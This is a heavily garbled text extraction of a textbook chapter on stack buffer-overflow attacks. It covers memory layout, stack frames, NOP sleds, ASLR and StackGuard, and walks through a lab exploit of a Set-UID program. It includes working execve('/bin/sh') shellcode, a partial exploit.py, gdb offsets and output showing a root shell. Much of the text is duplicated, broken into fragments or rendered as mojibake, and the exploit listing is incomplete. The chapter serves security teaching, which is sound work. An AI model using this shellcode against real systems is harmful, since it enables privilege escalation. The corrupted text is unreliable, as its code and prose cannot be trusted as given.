Buffer Overflow
Buffer Overflow
Chapter 4
Buffer Overflow
w Attack
Cha
From Morris worm in 1988, Code Red d worm in 2001,
pplications. In this
of the computer systems and applications.
vulnerability, and see how such a simple mistake
control of a system. We will also
2
attack against Android phones in 2015, the buffer overflow
in the history of computer security.
rity.
mistak can be
lso study how to prevent
SQL
S
attack
att
th chapter,
ch
Slammer in 2003, to Stagefright
overfl attack has played a significant role
o
ty. It is a classic
cl that is still effective against many
we will study the buffer overflow
b exploited by attackers to gain a complete
prev such attacks.
Contents
4.1 Program Memory Layout . . . . . . . . . . . . . . . . . . . . . . . . . 64
4.2 Stack and Function Invocation . . . . . . . . . . . . . . . . . . . . . . 65
4.3 Stack Buffer-Overflow
Overflow Attack
fer-Overflow Attac
A . . . . . . . . . . . . . . . . . . . . . . . 67
4.4 Setup forr Ourr Experiment
Experimen . . . . . . . . . . . . . . . . . . . . . . . . . 71
4.5 Conductct Buffer-Overflow
er-Overflow Attack
Atta . . . . . . . . . . . . . . . . . . . . . 73
4.6 kss with Unknown Address
Attacks Addr and Buffer Size . . . . . . . . . . . . . 79
4.7 ing a Shellcode . . . . . . . . . . . . . . . .
Writing . . . . . . . . . . . . 82
4.8 untermeasures:
measures: Overview
Countermeasures: Overvi . . . . . . . . . . . . . . . . . . . . . . . 86
4.9 Address
ddresss Randomization
Randomiza . . . . . . . . . . . . . . . . . . . . . . . . . . 88
4.10 tackGuard
uard . . . . . . . . . . . . . . . . . . . . .
StackGuard . . . . . . . . . . . . 91
4.11 ating the Countermeasure
Defeating Counter in bash and dash . . . . . . . . . . . . 96
m
4.12 Summary
mmary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 98
64 CHAPTER 4. BUFFER OVERFLOW ATTACK
pter
To fully understand how buffer overflow attacks work, we need to understand
derstand
and how the data
memory is arranged inside a process. When a program runs, it needs memory
mory space to sto
store dat
data.
For a typical C program, its memory is divided into five segments, each
ch with
th its own purpose.
purpo
pu
Figure 4.1 depicts the five segments in a process’s memory layout.
• Text segment: stores the executable code of the program. This block of memory is usually
u
read-only.
Cha
• BSS segment: stores uninitialized static/global variables.
ables. This segment
segm will
w be filled
with zeros by the operating system, so all the uninitialized
alized
d variables are
a initialized
in with
zeros. For example, the variable b defined in staticic int b will bbe sto stored in the BSS
segment, and it is initialized with zero.
Heap
BSSsegment
BSS segment
Sam
D
Datasegment
ext
Textsegment
(Lowaddress)
ss)
Figure
igure 4.1: Program memory
me layout
rent
ent memory segments
To understand how different segm
segment are used, let us look at the following code.
int x = 100; // In Data segment
s
int main()
{
int a = 2; // In Stack
Stac
float b = 2.5; // In Stack
4.2. STACK AND FUNCTION INVOCATION 65
pter
// Allocate memory on Heap
int *ptr = (int *) malloc(2*sizeof(int));
nt));
free(ptr);
return 1;
}
Cha
In the above program, the variable le x is a global vvariable initialized inside the program;
variab
this variable will be allocated in the Data segment. The T variable
v y is a static variable that is
uninitialized, so it is allocated in thee BSS segment.
egment. The
T variables
v a and b are local variables,
so they are stored on the program’s ’s stack.
ack. The variable
va ptr is also a local variable, so it is
also stored on the stack. However, r, ptr is a pointe
pointer, po
pointing to a block of memory, which is
dynamically allocated using malloc(); oc();; ther
lloc() therefore, wwhen the values 5 and 6 are assigned to
ptr[0] and ptr[1], they aree stored in the heap hea segment.
se
(High address
address)
Stackk
grows
ws
Value of b
Arguments
Value of a
Return Address
Current Previous Frame Pointer
Sam
Fra
Frame
Pointer Value of x
Local variables
Value of y
(Low address)
4.2.1
2.1
.1 Stack M
Memo
Memory Layout
Stack is used
sed
d for storing
stori data used in function invocations. A program executes as a series of
function calls. Whenever
ene a function is called, some space is allocated for it on the stack for the
66 CHAPTER 4. BUFFER OVERFLOW ATTACK
execution of the function. Consider the following sample code for function func()
c(),, which has
func(),
pter
two integer arguments (a and b) and two integer local variables (x and y).).
void func(int a, int b)
{
int x, y;
x = a + b;
y = a - b;
}
Cha
frame has four important regions:
pter
register (ebp) always points to the region where the previous
vious frame
fram pointer
po is stored. For the
32-bit architecture, the return address and frame pointer
er both occupy
occup 4 bytes of memory, so the
actual address of the variables a and b is ebp + 8, andan ebp + 12 12, respectively. Therefore,
the assembly code for x = a + b is the followinglowingg (we can compile
comp
c C code into assembly
code using the -S option of gcc like this: gcc cc
c -S <filename>):
<filename
<filen
movl 12(%ebp), %eax ; b is stored
red in %ebp
%e + 12
movl 8(%ebp), %edx ; a is stored
tored in %ebp + 8
addl %edx, %eax
movl %eax, -8(%ebp) ; x is stored in %ebp - 8
In the above assembly code, eax and edx are two ge general-purpose registers used for
Cha
storing temporary results. The "movl l u w" w instruct
instruction ccopies value u to w, while "addl
%edx %eax" adds the values in thee two registers, and an sasave the result to %eax. The notation
12(%ebp) means %ebp+12. It should hould be noted
oted that
th thet variable x is actually allocated 8
bytes below the frame pointer by the he compiler,
mpiler, not 4 bytes
byte as what is shown in the diagram. As
we have already mentioned, the actual
ctual layout of the
th local
loc variable region is up to the compiler.
In the assembly code, we can seee from -8(%ebp)
-8(%ebp th that the variable x is stored in the location
of %ebp-8. Therefore, using the he frame pointer d decid
decided at the runtime and the offsets decided
at the compilation time, we cann find the address
addre of all a the variables.
Now we can explain why hyy a and b aree pushe
pushed
p in the stack in a seemly reversed order.
Actually, the order is not reversed
ersed
ed from the offs
offset ppoint of view. Since the stack grows from high
address to low address, if we push a first
first, the offs
offset for argument a is going to be larger than the
offset of argument b, making
king the order look
ok actually
act reversed if we read the assembly code.
Previous frame pointer er andd function call cchain. In a typical program, we may call another
function from inside a function. tion. Every time we enter a function, a stack frame is allocated on
the top of the stack; when we return fro from ththe function, the space allocated for the stack frame is
released. Figure 4.3 depicts
picts the sta
stack situation
situa where from inside of main(), we call foo(),
and from inside of foo() (),, we call bar().
foo(), b
bar All three stack frames are on the stack.
There is only one frame
rame pointe
pointer regis
register, and it always points to the stack frame of the current
function. Therefore,ore, before we en enter bbar(), the frame pointer points to the stack frame of the
foo() function; n; whenn we jump in into bar(), the frame pointer will point to the stack frame of
the bar() function.
nction.
n. If we do not remember
re what the frame pointer points to before entering
bar(), oncee we return from bar bar(), we will not be able to know where function foo()’s
stack frame is. To solve this th problem,
prob before entering the callee function, the caller’s frame
pointer value
ue is stored
tored in the “prev
““previous frame pointer” field on the stack. When the callee returns,
the value inn thiss field will be use
used to set the frame pointer register, making it point to the caller’s
stack frame
me again.
gain.
4.3 Stack
ack Buffer-Overflow
Buffer
Buf Attack
Memory
mory copying is quite common in programs, where data from one place (source) need to
be copied to another plac
place (destination). Before copying, a program needs to allocate memory
space
acee for the destination.
destinatio
destin Sometimes, programmers may make mistakes and fail to allocate
sufficient amount
mount of mmemory for the destination, so more data will be copied to the destination
buffer than the amount
ou of allocated space. This will result in an overflow. Some programming
68 CHAPTER 4. BUFFER OVERFLOW ATTACK
Stack (Highaddress)
pter
grows
main()
foo() main()’sFramePointer
rent
Current
bar() foo()’sFramePointer
Frame
Frame
Cha
Pointer
(Lowaddress)
languages, such as Java, can automatically detect the problem when a bufferbuff is over-run, but
many other languages such as C and C++ are not ablee to detect it. Most
Mo people
pe may think that
the only damage a buffer overflow can cause is to crash
ashh a program, due
du to the corruption of the
data beyond the buffer; however, what is surprising g is that such a simple
si mistake may enable
attackers to gain a complete control of a program, rather thann simply
i crashing
cras it. If a vulnerable
program runs with privileges, attackers will be able
ble to gain
g those privileges.
vil In this section, we
will explain how such an attack works.
ple
4.3.1 Copy Data to Buffer
There are many functions in C that can be used
sed to copy data, includ
iincluding strcpy(), strcat(),
memcpy(), etc. In the examples of this section,
ection,
n, we will use st
strcpy(), which is used to copy
strings. An example is shown in the codee below.
ow. The function
fun strcpy() stops copying only
when it encounters the terminating character '\0'
acter '\0'.
0'.
#include <string.h>
Sam
#include <stdio.h>
void main ()
{
char src[40]="Hello world \0 Extra string";
char dest[40];
ter
which is represented as 0x30 in computers, not zero. Without the th zero
zer in the middle of the
string
st
string, the string copy will end when it reaches the end of the string, which is marked by a
zero (the zero is not shown in the code, but compilers
pilers will automaticall
automatically
automa add a zero to the end of
a string).
hap
When we copy a string to a target buffer, what
hat will happen if the string is longer than the size of
the buffer? Let us see the following example.
mple.
#include <string.h>
return 1;
}
pter
Stack (Highaddress))
grows
main()
stack
frame
str(pointer)
ReturnAddress
foo() PreviousFramePointer
stack
Buffercopy
buffer[11]
Cha
frame
buffer[0]
(Lowaddress)
(Low ad
pter
return 1;
}
Cha
printf("Returned Properly\n");
");
return 1;
}
The above program reads 300 bytes of data from a filefil called "badfile", and then copies
the data to a buffer of size 100. Clearly, there
ther is a buffer
bu overflow problem. This time, the
ome from a user-provided
contents copied to the buffer come user-prov
user- file, i.e., users can control what is
stion is what to store in "badfile", so after overflowing the
copied to the buffer. The question
buffer, we can get the program
m to run our code
code.
We need to get our code (i.e.,
e., malicious code)
co into the memory of the running program first.
This is not difficult. We can simply lyy place our code
cod in "badfile", so when the program reads
from the file, the code is loaded into the str[str[] array; when the program copies str to the
ill then be sstored on the stack. In Figure 4.5, we place the malicious
target buffer, the code will
code at the end of "badfile".
dfile"le".
ple
Next, we need to force
orce the
he program to
t jump
jum to our code, which is already in the memory. To
do that, using the buffer
fer
er overflow problem
proble in i the code, we can overwrite the return address field.
If we know the addressess
ss of our malicious
ma ccode, we can simply use this address to overwrite the
return address field.. Therefore,
refore, when the function foo returns, it will jump to the new address,
where our code is stored.ed. Figure 4.5
4 illustrates
illu how to get the program to jump to our code.
In theory, that
at is how a buffer overflow
overfl attack works. In practice, it is far more complicated.
In the next few sections,, we will descr
describe
des how to actually launch a buffer overflow attack against
the vulnerable Set-UID
-UID program ddescribed in Listing 4.1. We will describe the challenges in
Sam
4.4 Setup
tup for Our
O Experiment
We will conduct attack
attac experiments
exp inside our Ubuntu16.04 virtual machine. Because the
buffer
fer overflow problem
pro has a long history, most operating systems have already developed
untermeasures
ntermeasures agains
countermeasures ag
against such an attack. To simplify our experiments, we first need to turn
offf these countermeasures. Later on, we will turn them back on, and show that some of the
hese counterm
countermeasu
countermeasures
easures
sures only made attacks more difficult, not impossible. We will show how they can
be defeated.
72 CHAPTER 4. BUFFER OVERFLOW ATTACK
Stackbeforethebuffercopy Stackafterthebuffercopy
opy
pter
Malicious Malicious
Code Code
(Overwrite)
ite)
Arguments Arguments
ReturnAddress NewAddress rn s
NewReturnAddress
PreviousFramePointer (Overwrite)
erwrite)
ebp
buffer[99] buffer[11]
Cha
(Overwrite)
Overwrite)
buffer[0] buffer[0]
(badfile)
pter
changes the ownership of a file, it clears the Set-UID
UID bitit (for the ssake oof security). In the first
command, we used two gcc options to turn off two countermeasures
countermeas that have already been
built into the gcc compiler.
Cha
We will cover the attack in Chapter
pter 5.
• -fno-stack-protector: This option turns off another countermeasure called Stack-
Guard [Cowa et al., 1998], which
hich can defeat the
th stack-based
st buffer overflow attack. Its
main idea is to add some special
ecial data and checkin
ch
checking mechanisms to the code, so when a
buffer overflow occurs, it will be de
detected. More details of this countermeasure will be
explained in §4.10. This countermeasure
ountermeasure
measure ha
has bee
been built into the gcc compiler as a default
option. The -fno-stack-protector
ck-protector tell tells the compiler not to use the StackGuard
countermeasure.
4.5 Conduct
nduct
ct Buffer-Overflow
Buffer-O
Buffe Attack
Our goal is to exploit
ploit the buffer
buffe ov
overflow vulnerability in the vulnerable program stack.c (List-
ing 4.1), which h runs with
wi the root
r privilege. We need to construct the badfile such that
when the program
ram copies the
th file
fil contents into a buffer, the buffer is overflown, and our injected
malicious
us codede can be exe
execute
executed, allowing us to obtain a root shell. This section will first discuss
the challenges
allenges
es in the attack,
att followed
f by a breakdown of how we overcome the challenges.
4.5.1
1 Finding the A
Address of the Injected Code
To be able to jump to our malicious code, we need to know the memory address of the malicious
code.
de.. Unfortunatel
Unfortunately, wwe do not know where exactly our malicious code is. We only know that
our code iss copied
copie into the target buffer on the stack, but we do not know the buffer’s memory
address, because its
ts exact
e location depends on the program’s stack usage.
74 CHAPTER 4. BUFFER OVERFLOW ATTACK
We know the offset of the malicious code in our input, but we need to know w the address of
pter
the function foo’s stack frame to calculate exactly where our code will be stored. Unfortunately,
Unfortuna
the target program is unlikely to print out the value of its frame pointerr or the he address of any
variable inside the frame, leaving us no choice but to guess. In theory, thee entirere search space
sp for
fo
a random guess is 232 addresses (for 32 bit machine), but in practice, the he space
ce is much smal
ssmaller.
Two facts make the search space small. First, before countermeasures ures
res are introduced,
introduc most m
operating systems place the stack (each process has one) at a fixed starting ting address. It should
sh
be noted that the address is a virtual address, which is mapped to a differenterent physical
physica memory
me
address for different processes. Therefore, there is no conflict for or different
fferent processes
proc to use
the same virtual address for its stack. Second, most programs do o not have a deep stacstack. From
Figure 4.3, we see that stack can grow deep if the function calll chain is long, but this thi usually
happens in recursive function calls. Typically, call chains are nott veryy long, so in most programs,
Cha
stacks are quite shallow. Combining the first and second facts,, we can tell that the t search
s space
is much smaller than 232 , so guessing the correct address should
ould bee quite easy.
easy
To verify that stacks always start from a fixed starting address,
dress, we use the following
follow
f program
to print out the address of a local variable in a function.
#include <stdio.h>
void func(int* a1)
{
printf(" :: a1’s address is 0x%x \n", (unsigned int)
i &a1);
}
int main()
{
int x = 3;
func(&x);
ple
return 1;
}
$ ./prog
:: a1’s address is 0xbffff3700
$ ./prog
:: a1’s address is 0xbffff370
70
pter
rate very significantly. The idea is illustrated in Figure
gure 4.6.
6
Malicious Malicio
Malicious
Code Inaccurate Co
Code
Inaccurate
Guess – NOP Guess –
Failed Attack
(Overwrite) NOP Successful Attack
Arguments
NOP
New Return Address w Retu
New Return Address
Cha
(Overwrite) (Overwrite)
ebp ebp
buffer[11] buffer[11]
(Overwrite) (Overwrite)
buffer[0] buffer[0]
Figure 4.6:
6: Using NOP to improve
im the success rate
In addition
ition
on to disabling
disab two countermeasures as before, the above compilation uses the -g
flag to compile thee program,
p so debugging information is added to the binary. The compiled
76 CHAPTER 4. BUFFER OVERFLOW ATTACK
program (stack dbg) is then debugged using gdb. We need to create a file
le called
alled badfile
pter
before running the program. The command "touch badfile" in the following wing creates
create an
empty badfile.
$ gcc -z execstack -fno-stack-protector -g -o stack_dbg stack.c
stack
$ touch badfile
$ gdb stack_dbg
GNU gdb (Ubuntu 7.11.1-0ubuntu1˜16.04) 7.11.1
......
(gdb) b foo ¥ Set a break point at function n foo()
Breakpoint 1 at 0x804848a: file stack.c, line 14.
(gdb) run
......
Cha
Breakpoint 1, foo (str=0xbfffeb1c "...") at stack.c:10
.c:10
10 strcpy(buffer, str);
Listing 4.2:
.2: Generating malicious
mal input (exploit.py)
#!/usr/bin/python3
import sys
4.5. CONDUCT BUFFER-OVERFLOW ATTACK 77
KŶĐĞƚŚĞŝŶƉƵƚŝƐĐŽƉŝĞĚ
ŶƉƵƚŝƐĐŽƉŝĞĚ
ŝƐĐŽƉŝ
pter
ƌ͕ƚŚĞĂĚĚƌĞƐƐŽĨ
ĚƌĞƐƐŽĨ
ŝŶƚŽďƵĨĨĞƌ͕ƚŚĞĂĚĚƌĞƐƐŽĨ
ƚŚŝƐƉŽƐŝƚŝŽŶǁŝůůďĞ
ŽƐŝƚŝŽŶǁŝůůďĞ
ŽŶǁŝůůďĞ
0xbfffeaf8
fffeaf8af8 + 8
ŝƐƚĂŶĐĞсϭϭϮ
^ƚĂƌƚŽĨďƵĨĨĞƌ͗ dŚĞǀĂůƵĞƉůĂĐĞĚŚĞƌĞ
ǀĂůƵĞƉůĂĐĞĚŚĞƌĞ
ĚŚĞƌĞ ddŚĞĨŝƌƐƚƉŽƐƐŝďůĞ
dŚ
KŶĐĞƚŚĞŝŶƉƵƚŝƐĐŽƉŝĞĚ ŝůůŽǀĞƌǁƌŝƚĞƚŚĞ
ĞƌǁƌŝƚĞƚŚĞ
ǁŝůůŽǀĞƌǁƌŝƚĞƚŚĞ ĞŶ
ĞŶƚƌLJƉŽŝŶƚĨŽƌƚŚĞ
Cha
ŝŶƚŽďƵĨĨĞƌ͕ƚŚĞŵĞŵŽƌLJ ZĞƚƵƌŶĚĚƌĞƐƐĨŝĞůĚ
ĞƚƵƌŶĚĚƌĞƐƐĨŝĞůĚ
ĚĚƌĞƐƐĨŝĞůĚ ŵĂůŝĐŝŽƵƐĐŽĚĞ
ĂĚĚƌĞƐƐǁŝůůďĞ
0xbfffea8c
shellcode= (
"\x31\xc0" # xorll %eax,%eax
"\x50" # pushl
shl %eax
"\x68""//sh" # pushl
push $0x68732f2f
"\x68""/bin" # pushl $0x6e69622f
"\x89\xe3" # movl %esp,%ebx
"\x50" # pushl %eax
"\x53" # pushl %ebx
ple
"\x89\xe1" # movl
m %esp,%ecx
"\x99" # cdq
"\xb0\x0b" # movb $0x0b,%al
"\xcd\x80" # int $0x80
).encode(’latin-1’)
’)
# Write
te the content
conte to a file
with
h open(’badfile’,
open(’bad ’wb’) as f:
f.write(content)
.write(conte
We plan to use 0xbfffeaf8 + 100 for the return address (Line ), ), so we need
n to put
pter
this value into the corresponding place inside the array. According to our gdb result, sult, the re
return
address field starts from offset 112, and ends at offset 116 (not including ng 116).
16). Therefore,
Therefor in
Line , we put the address into content[112:116]. When we put ut a multi-byte number
numbe
n
into memory, we need to consider which byte should be put into the low w address.
ress. This is called
call
byte order. Some computer architecture use big endian, and some usee little endian. The x86
architecture uses the little-endian order, so in Python, when putting g a 4-byte address
addres into the
memory, we need to use byteorder=’little’ to specify the byte order .
It should be noted that in Line , we did not use 0xbfffeaf8 + 8, 8, as we have
ha calculated
cal
before; instead, we use a larger value 0xbfffeaf8 + 120. Theree is a reason for this: t the
address 0xbfffeaf8 was identified using the debugging method, hod, and
nd the stack frame
fram of the
foo function may be different when the program runs inside gdb db as opposed to runnin
running directly,
Cha
because gdb may push some additional data onto the stack att the beginning, causing ccausin the stack
frame to be allocated deeper than it would be when the program gram runs directly.
directl Therefore,
Th the
first address that we can jump to may be higher than 0xbfffeaf8 bfffeaf8 + 8. 8 That
Th is why we
chose to use 0xbfffeaf8 + 120. Readers can try different ferentt offsets if their
th attacks
at fail.
Another important thing to remember is that the result ult of 0xbfffeaf8
0xbfffea + nnn should
not contain a zero in any of its byte, or the content of badfile
adfile le will hav
have a zezero in the middle,
causing the strcpy() function to end the copying earlier, rlier, without copying
copy anything after the
zero. For example, if we use 0xbfffeaf8 + 8, we will wi get 0xbfffeb0
0xbfffeb00,
bff and the last byte
of the result is zero.
Run the exploit. We can now run exploit.py to generate nerate bad
badfile. Once the file
is constructed, we run the vulnerable Set-UID D pro
program, which copies
co the contents from
badfile, resulting in a buffer overflow. The following
ollowing
ing result
res shows that we have successfully
ple
obtained the root privilege: we get the # prompt,
pt, and
nd the result of th
the id command shows that
the effective user id (euid) of the process is 0.
$ chmod u+x exploit.py ¥ make
ke it executable
execut
$ rm badfile
$ exploit.py
$ ./stack
# id ¥ Got the root shell!
uid=1000(seed) gid=1000(seed) euid=0(root)
0(root) groups=0(root), ...
Sam
pter
invoke /bin/zsh. To do that, simply make the following
ollowing
ng change in th
the shellcode:
change "\x68""//sh" to "\x68""/zsh"
Cha
known to us. In real-world situations,, we may not be ablea to know their exact values. This is
especially true for attacks against remote
mote servers, because
bec unlike what we did in the previous
section, we will not be able to debugug thee target program.
program
prog In this section, we will learn a few
techniques that allow us to launch attacks
ks without knowing
knowi
k all the information about the target
program.
4.6.2
6.2
.2 Knowing th
the Range of the Buffer Address
Let us lift the
he assumption
ass
assump on the buffer address; assume that we do not know the exact value
ess but we know its range is between A and A+100 (A is known). Our
of the buffer address,
80 CHAPTER 4. BUFFER OVERFLOW ATTACK
KŶĐĞƚŚĞŝŶƉƵƚŝƐĐŽƉŝĞĚŝŶƚŽ
pter
ďƵĨĨĞƌ͕ƚŚĞĂĚĚƌĞƐƐŽĨƚŚŝƐ
ƉŽƐŝƚŝŽŶǁŝůůďĞ
0xbfffea8c + 120
ZdƐĞĐƚŝŽŶ
ϭϮϬďLJƚĞƐ;ϰďLJƚĞƐĨŽƌĞĂĐŚZdͿ EKWƐĞĐƚŝŽŶ
Zd Zd Zd EKW EKW
W DĂůŝĐŝŽƵƐŽĚĞ
DĂůŝĐŝŽƵƐŽ
Cha
KŶĐĞƚŚĞŝŶƉƵƚŝƐĐŽƉŝĞĚ ǁŝůůŽǀĞƌǁƌŝƚĞƚŚĞ ƉŽŝŶƚĨŽƌƚŚĞ
ĞŶƚƌLJƉŽŝŶƚĨŽƌƚŚĞ
ŝŶƚŽďƵĨĨĞƌ͕ƚŚĞŵĞŵŽƌLJ ZĞƚƵƌŶĚĚƌĞƐƐĨŝĞůĚ ĐŝŽƵƐĐŽ
ŵĂůŝĐŝŽƵƐĐŽĚĞ
ĂĚĚƌĞƐƐǁŝůůďĞ
0xbfffea8c
assumption on the buffer size is still the same, i.e., wee know its range iis be
between 10 to 100. We
would like to construct one payload, so regardless off what hat the buffer address
add is, as long as it is
within the specified range, our payload can successfully exploit ploit
l it the
th vulnerability.
vuln
We still use the spraying technique to construct
uct the first 120 bytes es of
o the buffer, and we put
150 bytes of NOP afterward, followed by the malicious
alicious
us code.
cod Therefore,
T if the buffer’s address
ple
is X, the NOP section will be in the range of [X X + 120, X + 270]. 2 The question is that
we do not know X, and hence we do not know w the exact range for theth NOP section. Since X is
in the range of [A, A + 100], let us enumeratemerate all the possible
poss values for X, and see where
their NOP sections are:
Buffer Address NOP Section
--------------------------------------
-
A [A + 120, A + 270]
0]
A+4 [A + 124, A + 274]
A+8 [A + 128, A + 278]
Sam
......
A+100 [A + 220, A + 370]
pter
S, A + S + L]. Any number in this range ge can be used for
fo RT
RT.
• If the buffer’s actual starting address is X = A + 4,
4 the
th NOP section’s range will be
[(A + 4) + S , (A + 4) + S + L].. Any numb number in this range can be used for
RT.
• If the buffer’s actual starting address is X = A + H H,, the NOP section’s range will be
[(A + H) + S , (A + H) + S + L]. L]. Any nnumbe
number in this range can be used for
RT.
ZdƐĞĐƚŝŽŶ͗>ĞŶŐƚŚс^ EKWƐĞĐƚŝŽŶ͗>ĞŶŐƚŚс>
EKWƐĞĐƚŝŽŶ͗>Ğ
Cha Zd
^ƚĂƌƚŽĨďƵĨĨĞƌ͗y
Zd Zdd EKW
KW
y н^
н
EKW DĂůŝĐŝŽƵƐŽĚĞ
y н^ н>
ZdĐĂŶďĞƉŝĐŬĞĚĨƌŽŵƚŚŝƐƌĂŶŐĞ
ZdĐĂŶďĞƉ
dĐĂ
y сн, ;н,Ϳн^
;
;н,Ϳн ;н,Ϳн^н>
ZdƉŝĐŬĞĚĨƌŽŵƚŚŝƐƌĂŶŐĞǁŝůůǁŽƌŬĨŽƌĂůůyǀĂůƵĞƐ
Zd
ZdƉŝĐŬ
Sam
Obviously, we cannot reduce the width H of the specified range for the buffer
ffer addre
address. but we
pter
can break the range into smaller subranges, each of which has a smaller width H’ ’. As lon
H’. long as
H’ is less than L, we can find a solution. Basically, if the range is too wide,, we break it into
smaller subranges, and then construct a malicious payload for each of the
he subranges.
ubrange
Cha
wish, what wish would you make? My wish would be “allowing ng me to make unlimited
unlimit
un number
of wishes whenever I want”.
Similarly, the ideal command that attackers want to injectject is one that allows
al them to run
more commands whenever they want. One command can n achieve
ieve that goal.
go ThatTh is the shell
program. If we can inject code to execute a shell program m (e.g. /bin/sh
/bin/sh), ) we can get a shell
prompt, and can later type whatever commands we want to run.
pter
– There are two NULL’s, which are zeros.
os.
– Whether the zeros in name[0] willl become
ome zeros in
i the binary code depends on
the program compilation.
Cha
call, we need to set four registers as follows:
ollows:
s:
4.7.3
3 Explanatio
Explanation of a Shellcode Example
Therere are many ways
way to write
w a shellcode, more details about shellcode writing can be found
in [One,
One, 1996] and many
man online articles. We use a shellcode example to illustrate one way to
write
ritee such code. The
T code
c is shown below. We have already placed the machine instructions
into a string
ng in th
the foll
following Python code, and the comment fields show the assembly code for
each machine instruction.
ruc
84 CHAPTER 4. BUFFER OVERFLOW ATTACK
pter
shellcode= (
"\x31\xc0" # xorl %eax,%eax
"\x50" # pushl %eax
"\x68""//sh" # pushl $0x68732f2f
"\x68""/bin" # pushl $0x6e69622f
"\x89\xe3" # movl %esp,%ebx ¥ set %ebx
"\x50" # pushl %eax
"\x53" # pushl %ebx
"\x89\xe1" # movl %esp,%ecx ¥ set %ecx
%e
"\x99" # cdq ¥ set %edx
"\xb0\x0b" # movb $0x0b,%al ¥ set %eax
x
"\xcd\x80" # int $0x80 ¥ invoke
nvoke execve()
Cha
).encode(’latin-1’)
The goal of the above code is similar to the C program ram shown
hown before,
before i.e.
i.e to use the
execve() system call to run /bin/sh. A system call is executed cuted using the
th instruction
ins "int
$0x80" (the last instruction in the shellcode above). To run it, parameters need to be prepared
for registers %eax, %ebx, %ecx, and %edx. If these registers
gisters
ers are configured
confi correctly and the
"int $0x80" instruction is executed, the system call execve() will be eexecuted to launch
a shell. If the program runs with the root privilege, a root
oot shell will be obtained.
obtai
Before diving into the details of the above shellcode,
lcode,
code, we need to t know
kno the current state
igure
of the stack before the shellcode gets executed. Figure ure 4.10(a) shows
sho thet stack state before
the vulnerable function returns. During the return, the return
eturn
turn address
addre will
wi be popped out from
the stack, so the esp value will advance four bytes.
y The updated
ated stack
sta state is depicted in
Figure 4.10(b).
ple
Stack
Malicious Malicious
Code Code
NOP NOP
NOP NOP
NOP NOP
Sam
esp
NewReturnAddress
esp
(a) Beforereturn
rn (b) Afterreturn
address to low address, and we can only push four bytess at a time, we need
n to divide the string
pter
into 3 pieces, 4 bytes each, and we push the last piece
iece first.
st. Let us look
l at the code.
Cha
"//sh" to "/zsh" at this linee of shellcode. TheTh assembly
as code will become pushl
$0x68737a2f.
• pushl $0x6e69622f: Push ush "/bin" intinto the stack. At this point, the entire string
"/bin//sh" is on the stack, ck, and the current
curren stack
sta pointer %esp, which always points
to the top of the stack, noww points to the beginning
beginn of the string. The state of the stack
and the registers at this point
oint is shown in Figure
Figur 4.11(a).
F
NOP NOP
P
NOP NOP
NOP
OP NOP 11 eax
ebx 0
0 ebx
//sh //sh
0x2000 0 edx
esp
(a) Set
Settheebx register (b) Settheeax,ecx,andedx registers
• pushl %eax: Construct the second item of the name array. Since this item contains a
pter
zero, we simply push %eax to this position, because the content of %eax is still zero.
zer
• pushl %ebx: Push %ebx, which contains the address of the "/bin/sh" n/sh" string,
/bin/sh" trin int
into
the stack, forming the first entry of the name array. At this point,
nt, the entire name
ame arr
array
is constructed on the stack, and %esp points at the beginning off this array.
• movl %esp,%ecx: Save the value of %esp to %ecx, so now the he %ecx register
reg con-
tains the address of the name[] array. See Figure 4.11(b).
Step 3. Setting %edx to zero. The %edx register needs to be set to zero. We can use the
XOR approach, but in order to reduce the code size by one byte,
yte, we can leverage a different
Cha
instruction (cdq). This one-byte instruction sets %edx to zero
ero as a side effe
effect. It
I basically
copies the sign bit (bit 31) of the value in %eax (which is 0 now),
w), into every
eve bitbi position in
%edx.
Step 4. Invoking the execve() system call. Two instructions nstructions are n need
needed for invoking
a system call. The first instruction is to save the system em call
all number in th the %eax register.
The system call number for the execve() system call is 11 ((0x0b 0x0b in h hex). The "movb
$0x0b,%al" instruction sets %al to 11 (%al represents sents
ents the lower 8 bits oof the %eax register,
the other bits of which has already been set to zero due
uee to the xor instructi
instruction
nst in the beginning).
The "int $0x80" instruction executes the system stem call. The in int instruction means
interrupt. An interrupt transfers the program flow to the he interrupt
interru handler.
h In Linux, the
"int $0x80" interrupt triggers a switch to the ker kernel mode, andd exe
executes the corresponding
interrupt handler, namely, the system call handler.
dler. This mechanism
me is used to make system
calls. Figure 4.11(b) shows the final state of thee stack
ck and the registe
registers
r before the system call is
ple
invoked.
sures, and then study some of them m in depth. We will also demonstrate that some of the
countermeasures can be defeated.
pter
actual size of the buffer, there will still be a buffer overflow
ow vulnerability.
vulnera
vulnerability
Cha
module libmib [mibsoftware.com, 1998].. It conceptually
conceptu supports “limitless” strings instead
of fixed length string buffers. It provides
ides itss own versions
versio oof functions like strcpy() that are
safer against buffer overflow attacks.s.
idea is that for an overflow to occur, the canary must also be overflown. More
re details
det about
pter
StackGuard will be given in §4.10.
Cha
it difficult for attackers to guess the correct address. We will discuss
uss this approach
appro in §4.9.
pter
To run a program, an operating system needs to load the program into the system first; this is
done by its loader program. During the loading g stage,
ge, the loader
load sets
set up the stack and heap
memory for the program. Therefore, memory randomization mization is normally
norm implemented in the
loader. For Linux, ELF is a common binary y format for programs,
progr
programs so for this type of binary
programs, randomization is carried out by thee ELF loader.
loade
To see how the randomization works, wee wrotee a simple program
p
prog with two buffers, one on
the stack and the other on the heap. We printint out their addresses
ad to see whether the stack and
heap are allocated in different places everyy time
me we run the program.
prog
#include <stdio.h>
#include <stdlib.h>
Cha
void main()
{
char x[12];
char *y = malloc(sizeof(char)
f(char *12);
printf("Address of buffer
ffer x (on stack):
st 0x%x\n", x);
printf("Address of buffer
uffer y (on heap) : 0x%x\n", y);
}
Address of buffer
fer y (on heap) : 0x804b008
$ a.out
Address of buffer
uffer x (on
( stack): 0xbffff370
Address of buffer y (on heap) : 0x804b008
// Randomizing
izing stack
stac address
$ sudo sysctl
sctl -w kernel.randomize
ke va space=1
kernel.randomize_va_space
ndomize_v = 1
$ a.out
ut
Address
ress of buffer
buf x (on stack): 0xbf9deb10
Address
ress of buffer
buff y (on heap) : 0x804b008
$ a.out
.out
Address
ess of buffer
buf x (on stack): 0xbf8c49d0 ¥ changed
Address of
f buffer
b y (on heap) : 0x804b008
90 CHAPTER 4. BUFFER OVERFLOW ATTACK
pter
$ sudo sysctl -w kernel.randomize va space=2
kernel.randomize_va_space = 2
$ a.out
Address of buffer x (on stack): 0xbf9c76f0
Address of buffer y (on heap) : 0x87e6008
$ a.out
Address of buffer x (on stack): 0xbfe69700 ¥ changed
d
Address of buffer y (on heap) : 0xa020008 ¥ changed
ed
Cha
